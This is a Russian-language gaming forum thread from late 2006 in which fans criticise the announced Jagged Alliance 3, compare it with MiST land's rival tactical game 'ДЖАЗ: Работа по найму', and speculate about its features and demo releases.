А жаль, помятуя о том как начинался "Серп и Молот" ваше привлечение к данному проекту было бы логичным и полезным.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 23.12.2006 в 15:13:01
Прочитал статью Навигатора.
Надвигается Буря. (с) Warcraft 3

Выделю имхо ключевые моменты.

- Скрины мне понравились, но, как я писал выше,Ю размер локации пока не ясен.
- Карта будет как в SS. Т.е. не будет постоянных секторов, а будут случайные встречи. Личено мне это категорически не нравится.
- сюжет банальнейший. Ей богу, поиграли бы разрабы хоть в мод B2B. Неужели сложно придумать что-то интереснее, чем повторение Ja2 ??? И они хотят еще кого-то удивить 4-мя-5-ю фракциями? Надеюсь, у сценариста Жучкова Юрия еще есть время придумать что-то СВОЕ.
- наемники из Джа2 будут не все. Они говорят, что выберут самых популярных. Т.е. это ОНИ решат кто популярный, а кто нет. Ваня, Маг - это все ясно. А может кто-то Лаву любит всей душой?  ;D
- "известно, что многим игрокам не нравился микроменеджмент". Это кому? Любителям экшенов и RTS? Ни разу не читал в этом форуме претензий по этому поводу. Имхо в Джа2 всё было идеально сбалансировано. Короче, им просто либо лень это делать, либо они не знают как это делать. А такого рода отговорки - полная лабуда и чушь.
- на глобальной карте нет остановки времени. Т.е. теперь нельзя открыть карту, посидеть, подумать куда идти, сколько потребуется на это времени, что взять. Кому это надо?
- Ну про отношения в команде болтают все кому не лень. И в The Fall обещали, но получилось слишком вяло. Так что верить этому оснований нет. Но будем надеяться.
- дальше вообще веселый человек. Консультант. Цитирую:
"Также мы уберем ряд вооружений, нехарактерных для наемников, в частности минометы." Здорово. извиняюсь за пример, но разве НЧФ не использовали минометы против федеральных сил? Что за пургу несет этот товарищь? Зато он хочет ввести экспериментального оружия. Ну да. В практически дикой и бедной стране начнутся испытания.
Короче, они просто не знают как реализовать миномет и огнемет (который планировался еще со времен SS. Но ниваловцы там вроде не смогли расчитать движение огня по помещениям или что-то вроде того...). Или не хотят маяться.
- про движение техники в бою уже говорили выше. Станковые пулеметы перенесут из SS - т.е. ничего нового.
- патронов разного типа сделают много. Ну молодцы. Это и сейчас в Джа2 доступно, благодаря нашим мододелам.
Все равно они (разрабы Джа3) вряд ли сделают возможность набивать магазины разными патронами...

Вот собственно и все выводы на основании статьи. Подавляющее большинство (да, в общем-то, всё, кроме скринов мне не понравилось).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 23.12.2006 в 16:00:12
Небольшое сравнение проектов:)  :

http://diary.mistforum.com/index.php?mode=viewid&post_id=197

... и что самое смешное - правда.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 23.12.2006 в 16:18:57
2SSSVOLOCH:
Дядька Напалм как всегда оправдывает ник :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем colonel Kilgore на 23.12.2006 в 23:21:45
2SSSVOLOCH:
Надо же, а я и не знал, что такую прелесть делают!  :o Как-то все недосуг было поинтересоваться.
Такие хорошенькие миниатюрные фигурки! Надеюсь, создатели не обманут насчет всех тактических примочек.
Ну теперь моя душа спокойна; а то уж я после статейки той в НИМ стал подумывать бросить всё и уплыть в Сомали. :pray:

2Macbeth:  Истинно так! Нас большинство.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Len на 23.12.2006 в 23:49:05

Quote:
наемники из Джа2 будут не все. Они говорят, что выберут самых популярных. Т.е. это ОНИ решат кто популярный, а кто нет. Ваня, Маг - это все ясно. А может кто-то Лаву любит всей душой?

Эх, уберут кОпрала... как пить дать...:D


Quote:
"известно, что многим игрокам не нравился микроменеджмент".  

Нда... Ничего себе заявления. Где опрос проводился, я что-то пропустил?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 24.12.2006 в 00:55:23
2SSSVOLOCH:  
Quote:
Небольшое сравнение проектов :):


Почитал сравнение двух проектов ;).

Даже если отбросить всю саморекламу, сарказм и некоторое ехидство камрада napalm, то всё-равно сравнение проектов будет явно не в пользу Jagged Alliance 3 от F3 ;)!
На вскидку, по заявленным фичам, JA 3 однозначно проигрывает ДЖА3 :(!
Вот выйдет скоро обещанная демка "ДЖАЗ: Работа по найму", тогда будем смотреть и судить более детально ;)!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 25.12.2006 в 09:45:24
власть меняется  ;D
еще недавно лучше относился к ja3 чем джа3  ::)
но после статьи все стало наоборот  :)
ждем демки  ::)

ps: реклама-великая вещь  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 25.12.2006 в 22:45:18

Quote:
реклама-великая вещь


В последнее время один срач не конструктивный диалог на форумах, который трудно назвать рекламой. Объективной информации минимум
Скрины и описание фич ДЖАЗа конечно ему только в плюсы, тем более, что скоро многое увидим - демку обещают в январе.
Что касается JA3 - ужасно не порадовало интервью, многое по-прежнему не ясно - миссии, размеры локаций, арсенал... Кроме этого, невменямые выступления некого товарища на АГ, сотрудничающего (?) с коммандой разработчиков, с навязчивой идеей реализма в игре... в общем тенденции развития игры вообще удручают

В общем, согласен, голос за ДЖАЗ
+1

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 26.12.2006 в 18:49:21
Ну что касается уровней - можно не сомневаться, что в JA3 они будут меньше, чем в JA2. Хотя и больше, чем в СС. Трехмерность, блиныч. Плюс интерактивность. Грубо говоря, больше памяти надо на каждый тайл.

"Сравнение" ИМХО не надо всерьез воспринимать. Ну решил человек сам себя похвалить, а заодно пнуть журнал, который хвалил не тех, кого надо.

Что касается пресловутых "20 сюжетных заданий" - судя по сообщению товарища с форума НИМ, это имеются в виду квесты типа "привести пилота вертолета". Так что яд товарища Напалма ИМХО совершенно неуместен.
Вот что касается "микроменеджмента" - тут я согласен, лично мне он совершенно не мешал, и я не знаю никого, кому бы мешал. Кстати, без него в JA2 можно прекрасно обойтись: не хочешь тренить ополчение - обороняй сектора соими мерками! Или убивай карателей на подходе.
Прочие разные вкусности, описанные в статье - это, конечно, хорошо... на словах. А вот как они это реализуют... есть у меня сомнения в качестве работы Миста... правда, сомнения в качестве работы Акеллы у меня тоже есть... и по странному совпадению появились они после другой их игры с цифрой 3 в названии... ::)
По поводу многоэтажности в JA3 зря Напалм прошелся. Многоэтажность - одна из тех вещей, которых не хватало в боевке JA2, особенно после 4 уровней первых двух ХСОМов и 9 уровней третьего.

Словом, доживем до демок - там и увидим... мне статья Напалма не понравилась, слишком злая и злорадная. И я еще слишком хорошо помню все, что читал и видел про JA3D, чтобы так сразу проникнуться любовью к ДЖА3 РпН... даже если Напалм утверждает, что там можно апгрейдить сектора.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 26.12.2006 в 19:11:04
2Ushwood:  
Quote:
Кстати, без него в JA2 можно прекрасно обойтись: не хочешь тренить ополчение - обороняй сектора соими мерками! Или убивай карателей на подходе.

Или забей на все и ломи на Медуну.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 26.12.2006 в 19:12:22

Quote:
Ну что касается уровней - можно не сомневаться, что в JA3 они будут меньше, чем в JA2

В последних скринах Джаза есть маленькое окошко полной карты локации, по ориентирам на видимой части экрана можно понять приблизительный размер локации. ИМХО она не меньше, чем в JA2.

_________________________________

В статейке про JA3 вроде о мультеплеере заикнулись, странно никто не обратил внимание... не интересует?  ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 26.12.2006 в 23:07:38
> В статейке про JA3 вроде о мультеплеере заикнулись, странно никто не обратил внимание... не интересует?

Хоть бы сначала сингл нормальным сделали. Остальное вторично.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 27.12.2006 в 00:05:51
2Ushwood:  
Quote:
Что касается пресловутых "20 сюжетных заданий" - судя по сообщению товарища с форума НИМ, это имеются в виду квесты типа "привести пилота вертолета". Так что яд товарища Напалма ИМХО совершенно неуместен.


Но учитывая, что действовать в JA 3 можно будет только одним неделимым отрядом, то "помиссионность" в игре явно будет налицо :(.
Приведу пример.
Получаем задание: "Найти пилота вертолёта".
1. В JA2 отряжаем 1-2-х бойцов заниматься поисками, остальные в это время могут воевать, тренировать ополчение, ремонтировать, захватывать СЗ ПВО, выполнять другие квесты и т. д ;).
2. В JA3 весь неразделимый отряд идёт искать пилота вертолёта и не может заняться ничем другим :(! Или же занимается чем-то другим, но тогда пилота никто не ищет ;)!

Прохождение одним неделимым отрядом является практически линейным по сути (возможно часть заданий будет генериться рандомно) и последовательным по времени, то есть, последовательно по времени будут выполняться очередные "сюжетные задания", выбираемые игроком из доступных на данный момент, вспомните "Операцию Silent Storm" :P!


Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 04:56:29
2Docent:
Всё почти верно.
"Почти" - потому что был еще "Серп и Молот". Там сюжет был подан хорошо и с такой проработкой, что ни о какой линейности говорить нельзя. Отряд один, ополчения и секторов нет, хотя возвращаться в них можно. Однако жесткие временные рамки и постоянная необходимость выбора заставляли идти по сюжету...
Разумеется, ни о какой великой свободе там, в СиМ, говорить нельзя.
НО! Если создатели игры не дают этой свободы - они должны давать взамен интересный и качественно поданный сюжет. В "СиМ" это получилось. Заранее подготовленные ходы, рассчитанные на более или менее вероятные реакции игроков. Много ходов, много реакций. Причем провоцировалось именно нестандартное прохождение, отход от принципов S2 ("убей всех, как танк - и будет щастье").
С другой стороны - задачи ГГ и группы там - гораздо беднее геймплея в той же Джа_2.
Думаю, даже создать нечто подобное с той же продолжительностью (а СиМ можно пройти за 3 дня не напрягаясь по самой длинной ветке...) будет ОЧЕНЬ-ОЧЕНЬ проблематично.
И даже если (чего отрицать нельзя) это получится - игра все же будет сопоставима по впечатлению от нее с аддонами Джа_2 (JA2:UB ... etc).
        А в худшем случае - это все же будет S2... Тоже вариант...:)


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 27.12.2006 в 07:38:58
2SSSVOLOCH:
Ключевое слово все таки - "помиссионность", никакой интересный сюжет не заменит "свободы действия" (или отсутствия помиссионности, если хотите). Не линейность в том же СиМе, довольно ограниченная, возвращаться на локации было можно, а делать там было уже нечего. А большинство нестандартных ходов все же приводили к провалу миссии и игры.


Quote:
А в худшем случае - это все же будет S2... Тоже вариант...

А если представить, что второй вариант в виде ДжаЗа никто не делает? И что это единственное продолжение JA, которое на самом деле S2 & S'n'H... Кого этот вариант обрадует- поклонников Сайлент Сторма? Зачем там тогда JA в названии?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 08:00:48
2Bolivar:
Оффтоп://
-  Это какие же действия приводили к провалу игры в СиМ?
Игра в любом случае доходила до конца, если ГГ жив... Просто концовки были хорошие и не очень. Возвращаться было незачем, да - но сюжет и непрозрачно намекал на это  -"вперед, за нами идут". И приходили...:)
//енд оффтоп.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Refiler на 27.12.2006 в 08:27:53
2Bolivar:
Как зачем??!!! Тогда же денег поменьше срубишь, а написал Джа3, все, бабло обеспечено

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 27.12.2006 в 10:04:50
Прочитал обзор в НИМ и сравнение напалма и уяснил одно - пошаговости не будет ни там ни там.  :(
Или я что-то недоперепонял?  :)  


Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 10:19:13
2pipetz:
Наоборот - и там, и там.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 27.12.2006 в 10:27:37
Только в Джазе будет привычная джашная пошаговость, а в JA3 - инициативная, как в Героях. Вообще, вынужден констатировать, что то что делает сейчас Мистленд - гораздо ближе к серии Jagged Alliance, чем будущий JA3. Не прошло и 3-х месяцев, как время рассудило, кто в скандале Мисленда и SFI был главным "Букой". Я был на стороне Мистов и оказался прав.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 27.12.2006 в 14:55:07
Вполне вероятно что в каком-то смысле ДжаЗ обеспечит лучшие продажи JA3, подогреет интерес. JA3D потому нет необходимости делать, что ДжаЗ на разогрев будет работать и выполнять эту функцию вместо JA3D. При этом SFI видимо понимают, что хорошие игры быстро не делаются, потому-то F3 Games(Акелла) и будут делать в каком-то смысле урезанную по функциональности игру (в сравнении с тем, что они выпустят позже).
GFI же в свою очередь понимала, что за руку с ней после помиссионной ДжаЗ возможно никто не захочет здороваться( вернее много не принесёт им такая JA уважения) и запишут в производители урезанных разогревочных продуктов (предпродуктов, напоминающих (либо знакомящих) игрокам о игровой вселенной JA). После лишения GFI возможности делать JA3 (либо чуть ранее, начиная уже прорабатывать JA3), а значит и в какой-то мере возможности показать способность делать гораздо более сложную интересную и объёмную игру, GFI видимо решили, что такую игру делать обязательно нужно. Видимо после препирательств с SFI либо простым решением GFI отказались от JA3D (либо вынудили им отказать), просто потому что GFI решили что JA3D им вообще делать ни к чему.
Таким образом предполагаю можно перенумеровать так:
То что делает GFI(ДЖАЗ: Работа по найму): это полнофункциональная JA3 (со своими улучшениями), но название другое и персонажи.
То что делает F3 Games: это Ja3D, но называться будет JA3 (произошло переименование JA3D->JA3 (что-то к концепции урезанной JA3D добавили, но даже при на личии свободного передвижения(если будет) в чём то другом будет урезано, потому что хорошие игры быстро не делают. Если конечно они её долго делать не собираются)
Тот JA3 который мы ждали от SFI(ещё не скоро ждали) видимо выйдет как адд-он к JA3, либо как JA4.
GFI
ДЖАЗ: Работа по найму = JA3(бывшая идейная), но по своему, свободно улучшенная разработчиками
SFI/F3 Games
1. JA3 = JA3D(возможно идейно улучшенная, но не слишком, потому что хорошие игры быстро не делаются)
SFI/?кто будет делать не известно?
2. JA4/JA3 Add-on = JA3 (бывшая идейная)
Это всё догадки

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 15:05:20
2Rustam:
Я все понимаю, Новый год... алкоголь... Ну уж совсем злоупотреблять не стОит:)).
Никто и никогда не говорил о том, что F3 будет делать ЕЩЕ что-то, кроме той Джа_3, которую делает сейчас.
А о "разогреве" говорить вообще глупо. Тех людей, которые в курсе, "кто что делает" - всего сотни, и те по форумам...
Покупать будут обычные люди в магазинах, которые рекламу в журналах не смотрят и в инет не ходят (по крайней мере, не за этим...:)  ).

ЗЫ. F3 там скоро обещали форум открыть свой... так что ДО этого вряд ли мы что-то еще узнаем...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 27.12.2006 в 15:19:16
Насчёт разогрева, разогрев предполагался всё таки ранее, в виде выпуска JA3D перед JA3, сейчас конечно может мало кто(из непосвящённых) сможет соотнести название ДЖАЗ с JA3. Ну статьи и реклама в журналах тому делу могут помочь (много ли, мало ли).
Насчёт того что F3 Games делает только JA3 я исправлял как раз когда мне об этом писалось, так что передача мыслей на расстоянии, либо одинаковое восприятие обстановки, можно смело идти на Медуну вместе.
Кстати, а так ли уж недавно F3 Games делает JA3, никто не подскажет?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 27.12.2006 в 15:19:50
2SSSVOLOCH:  
Quote:
"Почти" - потому что был еще "Серп и Молот". Там сюжет был подан хорошо и с такой проработкой, что ни о какой линейности говорить нельзя. Отряд один, ополчения и секторов нет, хотя возвращаться в них можно.  

Серп и Молот это проект фанатов, фактически его делал господин Новиков, то что начиналось как модификация SS под Ja2, с наемниками из Джагета, вылилось в аддон из которого были убраны все напоминания о ja2.
По моему мнению ja3 в лучшем случае дотянет до уровня Серпа и Молота, в худшем случае это будет SS на скорую руку переделаный под механику ja2.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 27.12.2006 в 16:01:24
2Rustam:  
Quote:
Кстати, а так ли уж недавно F3 Games делает JA3, никто не подскажет?


На сайте AG имеется новость, датируемая 11-01-2006, о том, что у Мистов отняли права на разработку Disciples 3 ;). По-видимому, одновременно с этим событием они утратили и права на разработку Jagged Alliance 3, так как в новости упоминается, что теперь  "МиСТ ленд-ЮГ" по-прежнему занимается разработкой только тактической стратегии Jagged Alliance 3D для Strategy First.
http://www.ag.ru/news/11-01-2006#15796

Из других источников также известно, что права на разработку Jagged Alliance 3 и Disciples 3 были отняты у "МиСТ ленд-ЮГ" одновременно ;).
Примерно в это время, а может быть даже и несколько раньше, Strategy First вероятно уже нашла разработчика для Jagged Alliance 3 ;)!
Таким образом, разработка  Jagged Alliance 3 в студии F3 идёт уже без малого год.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 16:59:13
2zed:
Поправлю, не Новиков - а Александр "Novik" Москалец. И не один, а вместе со своей командой. В частности, диалоги писал Иван Кошкин (думаю, известный)... (offtop).

2Rustam:
Да, ориентировочно - не меньше, чем с весны его делают.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 27.12.2006 в 17:52:31
2Docent:,2SSSVOLOCH:
Если выпуск игры от F3 Games запланирован на осень 2007 или позднее, то это, конечно, будет, так сказать, полноценная версия. Я и в помиссионности плохого ничего не вижу, но как в отдельной ветви развития.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 18:11:36
2Rustam:
Если это  - "полноценная версия" -  то Джа_2 была что?...
"Расширенное издание", что ли?...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 27.12.2006 в 19:14:57
2SSSVOLOCH:
Не совсем (если честно) понял. Я имею ввиду, что я поверю в то, что игра будет не помиссионная, но только если выпускать они(F3G) её собираются к концу 2007. Если они к концу 2007 собираются выпускать помиссионную, тогда вопрос, что они там делают. Мне в принципе не жалко, пусть тянут, если не успевают свободную игру сделать, тогда и помиссионная хорошо для начала. Хорошо, что есть ДЖАЗ, ждать будет веселее.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.12.2006 в 20:28:48
2Rustam:

1) - Не всё зависит от разработчиков... Это намек.:)

2) - Камрад, пишите предложения короче. Самому понятнее будет... Это пожелание:).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 27.12.2006 в 20:48:54
Читаю ветки про "ДЖАЗ:Работа по найму" и "JA3". Хочется отметить по поводу пиар-ходов и тех, и других. Стиль их вызывает легкое разражение. Так и хочется сказать разработчикам: работать нужно, а не выпендриваться. Полувальяжные разговоры о Ja3, что мы сделаем сто пудов лучше чем Ja2... это нам как два пальца... Веть это же мы... Вон какие прикольные скрины у нас - гвоздь нажрался местного пойла - воздух портит...
Это несколько настораживает. Создается впечатление, что кто-то лапает хрустальную мечту грязными руками. Не иначе.

Что касаемо скринов, прикольно, но слишком много теплых цветов и слишком уж яркие выстрелы.

Я иак понимаю, что за счет 3D расчитывают получить многоуровневость. Возникает вопрос: а с AI в пошаговом режиме, да при коллективной атаке проблем не будет? Или нам предложат последательно зачистить локацию от практически статичных врагов?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 27.12.2006 в 21:32:07
нашествие Нострадамусов...  ;D

________________________________

2SSSVOLOCH:
под провалом имелась ввиду конечно же "не очень хорошая" концовка СиМа

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 27.12.2006 в 23:18:36
2Rustam:  
Quote:
Я и в помиссионности плохого ничего не вижу, но как в отдельной ветви развития.

Отдельная ветвь развития - это как понимать ::)?
Речь идёт о "неполноценной" помиссионной JA 3, по типу планировавшейся ранее Jagged Alliance 3D ::)?

Я бы уже полностью оставил мечты о промежуточной, перед полноценной JA 3, - "неполноценной" помиссионной JA 3D, которая как бы является "трехмерным римейком Jagged Alliance 2: Unfinished Business" (в своё время именно так позиционировалась JA 3D) ;)!

Надо чётко понимать, что та игра, которую сейчас делает студия F3 это и есть полноценная JA 3 в их совместном с SFI понимании :(!

А сейчас читаешь старые новости о JA 3, встречаешь там такие фразы:
Quote:
Широкий, свободный мир, где можно делать едва ли не всё, что захочется, грядет в Jagged Alliance 3.

И становится даже смешно :(!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 28.12.2006 в 04:01:03
2SSSVOLOCH:
Это же их дело, только констатирую: с моей стороны глядя - вроде как тянут, притом сам я JA3 ещё ни разу не делал. Делают и хорошо.
2Docent:
Какие уж там мечты, в смысле, да кому оно надо. А с другой стороны, хорошо бы несколько компаний, а лучше одна, но как следует, одновременно (в несколько студий) делала несколько игр по одному миру JA. (мира то и нет вроде, ну так с использованием персонажей). Чтобы и помиссионная и обычная и ещё может что. Ну да, ветвь получается от UB.
Как же так, "это и есть полноценная в их совместном понимании" и при этом вроде как несвобода там просматривается.(это к ним вопрос)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 28.12.2006 в 09:22:27
2Rustam:
замысловато  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 28.12.2006 в 14:41:51
2Lm:
угу (2SSSVOLOCH: так нормально?) ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 28.12.2006 в 15:08:47
2Strax5:  
Quote:
Хочется отметить по поводу пиар-ходов и тех, и других. Стиль их вызывает легкое разражение.
Во, именно. Раздражают эт пиарщики безумно, меня тоже. Реально судить надо будет по демкам...


Quote:
Я иак понимаю, что за счет 3D расчитывают получить многоуровневость. Возникает вопрос: а с AI в пошаговом режиме, да при коллективной атаке проблем не будет? Или нам предложат последательно зачистить локацию от практически статичных врагов?  
Ну ты АИ в СС (или в СиМ) видел? Дак ничего нового по сравнению с этим мы, скорее всего, и не получим... то есть - ховаться грамотно за препятствиями он будет, выбирать дистанцию для атаки в зависимости от оружия - тоже, координировать свои действия - и не мечтай. С патфайндингом проблем быть не должно, несмотря на многоуровневость и трехмерность.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 29.12.2006 в 10:15:13
2Ushwood:

Quote:
Реально судить надо будет по демкам...

Что-то я сомневаюсь в выходе демок как у первого, так и у второго. Наш геймдев он не глупый, он понимает, что демонстрировать убожество - вредно для финансового благополучия. Лучше подсунуть наивному геймеру кота в пластиковом футляре. :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 29.12.2006 в 10:43:17
Демка "ДЖАЗа" выйдет однозначно.
Демка "7,62" - возможно...
Демка "Джа_3" - маловероятно, но всё может быть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 29.12.2006 в 11:58:45
> Что-то я сомневаюсь в выходе демок как у первого, так и у второго.

Показывать дему Альфы Мисты не побоялись, так что, думаю, весьма вероятно, что мы увидим ДЖАЗ перед релизом...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 29.12.2006 в 13:09:31
2bugmonster:
Quote:
Что-то я сомневаюсь в выходе демок как у первого, так и у второго. Наш геймдев он не глупый, он понимает, что демонстрировать убожество - вредно для финансового благополучия.

О том, что у "ДЖАЗ: работа по найму" будет демо-версия, информация в Дневниках MiST land появилась ещё 24/11/2006 в 14:56:47 ;).
http://diary.mistforum.com/index.php?mode=viewid&post_id=189

Позже на форумах и в дневниках представители MiST land подтвердили появление демо-версии игры возможно уже в январе 2007 года ;).

Апейрон также недвусмысленно намекал о возможном выходе демки "7.62" на форумах AG ;)!

И только от студии F3 пока не было никаких намёков ::)?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 29.12.2006 в 13:45:12
Насчет количества наемников - это отдельная пестня. Я как раз из тех, "кто Лаву любит всей душой". А насчет Ивана - ему скоро на пенсию по возрасту пора. Ну и что, что он любим всеми - организация должна обновляться.
Нужно давать дорогу молобым: Лаве, Барри, Анаболику, Игорьку, Сдобе.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Anthrax на 29.12.2006 в 14:01:14
2Strax5:

Quote:
А насчет Ивана - ему скоро на пенсию по возрасту пора. Ну и что, что он любим всеми - организация должна обновляться.  


Изверг! :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 29.12.2006 в 14:37:38

Quote:
ему скоро на пенсию по возрасту пора. - организация должна обновляться.  
Ему это... на Филиппины пора ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 29.12.2006 в 17:29:13
2Macbeth, Docent: Теперь Мисты - люди подневольные. Наши девелоперы даже оффициальные заявления не утруждаются соблюдать, стоит ли принимать за чистую монету частные предположения Шутова, который не решает за дату и саму возможность выхода демки?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 29.12.2006 в 17:42:42
2bugmonster:
А я где-то писал, что обязательно выпустят?
Я только сказал, что это весьма вероятно. Имхо.  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 29.12.2006 в 19:45:57
Насколько я помню JA2 была из жанра "стратегий"?  ::)
Кто нибудь мне объяснит, где в JA3 предполагается стратегическая часть?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 29.12.2006 в 20:08:30
2Bolivar:
Там же где она была в SS.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 29.12.2006 в 20:43:21
2zed:
В SS я не играл, в СиМ играл. Я так понимаю, в SS вся стратегия тоже в выборе локации на карте? Находишься в пункте В, можешь пойти в пункт А и пункт С (притом, что в пункт А идти совершенно незачем, поэтому все равно идешь в пункт С). В этом вся стратегическая часть?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 29.12.2006 в 22:55:38
2bugmonster:  
Quote:
Теперь Мисты - люди подневольные. Наши девелоперы даже оффициальные заявления не утруждаются соблюдать, стоит ли принимать за чистую монету частные предположения Шутова, который не решает за дату и саму возможность выхода демки?


Судя по некоторым комментариям, демо-версия ДЖА3а это не "частные предположения Шутова", а требование издателя ;)!

Я конечно за (вместо) Шутова обещать ничего не буду ;)!
Но в последнем блоге на Дневниках MiST land на вопрос о демке, отвечено буквально следующее:
http://diary.mistforum.com/index.php?mode=viewid&post_id=197

Quote:
делаем, честно.
издатель так вообще уже все мозги запарил. просто демка должна показывать игру с положительных сторон, а если она будет протормаживаться при каждом наведении курсора на врага - это уже не есть гут.
одно могу гарантировать, она будет, и до того как будет игра. Мы давали обещание что игроки смогут сами оценить. покупать игру или нет, мы его сдержим.
Сейчас как раз занимаемся оптимизацией, отлаживанием сюжета и ловим баги.

Если издатель таки стукнет кулаком по столу, выпустим дему на след. неделе, только с тактической частью. Если удастся уломать - то в явнаре числа 20-го с куском стратегической части, чтобы можно было оценить всякие фишки с теми же апгрейдами секторов и т.д

Заголовок: Re: Jagged Alliance 3
Прислано пользователем colonel Kilgore на 30.12.2006 в 22:13:22
Я тут сижу, весь такой уставший после поезда Петербург-Москва, попиваю предновогоднее вино, перечитываю ветку и раздражительно думаю, насколько все-таки отвратительны все эти хвастливые заявления разработчиков JA3 про случайно генерируемые второстепенные сектора. Ведь это ужасное расхождение со священным каноном Джа2!
Сейчас, вновь переигрывая, я понимаю, почему эта новость так огорчает. Ведь как бывает приятно вернуться в старый сектор и вспомнить давние события позапрошлого «игрового месяца»!.. вспомнить, как в конкретном секторе пришлось отбиваться от превосходящих сил врага, как пришлось использовать базуку для приготовления чахохбили вперемешку с гравием строительных конструкций… вспомнить эту отрезанную голову отчаянного отморозка, который был смелее, чем прочие… или оказаться на заброшенном минном поле, которое сам же и устроил… и вот перед тобой снова враг, и снова эта земля не будет знать покоя… эх, некрофильская романтика!
Всего этого НЕ БУДЕТ.
Разработчики доказали, что их отношение к проекту такое же, как отношение ООН к казни Хусейна. Мы все теперь знаем, что такое «настоящая демократия» и «справедливый суд»!
:drug: :grobovschik: :beer: :lol: :crazy: :rzhach:
:smoke:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 30.12.2006 в 22:51:29
2colonel Kilgore:

Quote:
Разработчики доказали, что их отношение к проекту такое же, как отношение ООН к казни Хусейна
Эта пять! :rzhach:

Камрад, эмоции тут только вредят делу  ;) Какие то локации, я надеюсь остануться на карте. Насчет священного канона - какая об этом может быть речь, похоже, что этот проект уже из другого игрового жанра...

С Новым Годом, коллега! :beer:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем colonel Kilgore на 30.12.2006 в 23:01:36
2Bolivar: :beer: С Новым Годом!
Все-таки я брошу всё и уеду в Сомали!
:crazy: :smoke:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем c00ler на 05.01.2007 в 12:35:59
А может письмо в сир-тек накатаем (вернее в что от него осталось)
так и так издеваются тут над JA - 3d прикрутили зачем-то, помисионность и проч.
у них же наверняка остались исходники того что должно было быть ja3.

и предложение такое: давайте всем миром сделаем JA3 (только видимо переименовать придется), кто деньгами пожет, кто текстурами, кто программной частью и тд.

Игрух сделанных сообществом в инете достаточно. А пиплы из сиртека будут супервайзорами. Проект будет не коммерчески так что проблем быть не должно особо.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 05.01.2007 в 13:15:02
2c00ler:  долго делать будете :lol:  
Всё равно без хорошей организации действий ничего путного не выйдет  :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем c00ler на 05.01.2007 в 13:40:32
если заинтересовать того же Курри то все должно пойти нормально
и потом на мой взгляд это лучше чем долго ждать JA3 и плеваться после выхода

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 05.01.2007 в 13:48:23
2c00ler:

а чем ты его заинтересуешь?  ::)

некоммерческим проектом???  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ghaydn на 05.01.2007 в 14:29:47
2c00ler: Ну-ну, удачи. Уж сколько таких "энтузазистов" бывало, да вот только никто серьёзно к этой идее не относился. Хотя чем плоха идея?!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 05.01.2007 в 15:52:03
> А может письмо в сир-тек накатаем (вернее в что от него осталось)
так и так издеваются тут над JA - 3d прикрутили зачем-то, помисионность и проч.

;D
Напоминает царскую Россию... мол крестьяне верят в батюшку-царя. Надо ему рассказать, что творят бояре! Он же ни сном ни духом о том, какие налоги т.п.! Надо рассказать и он с ними разберется!
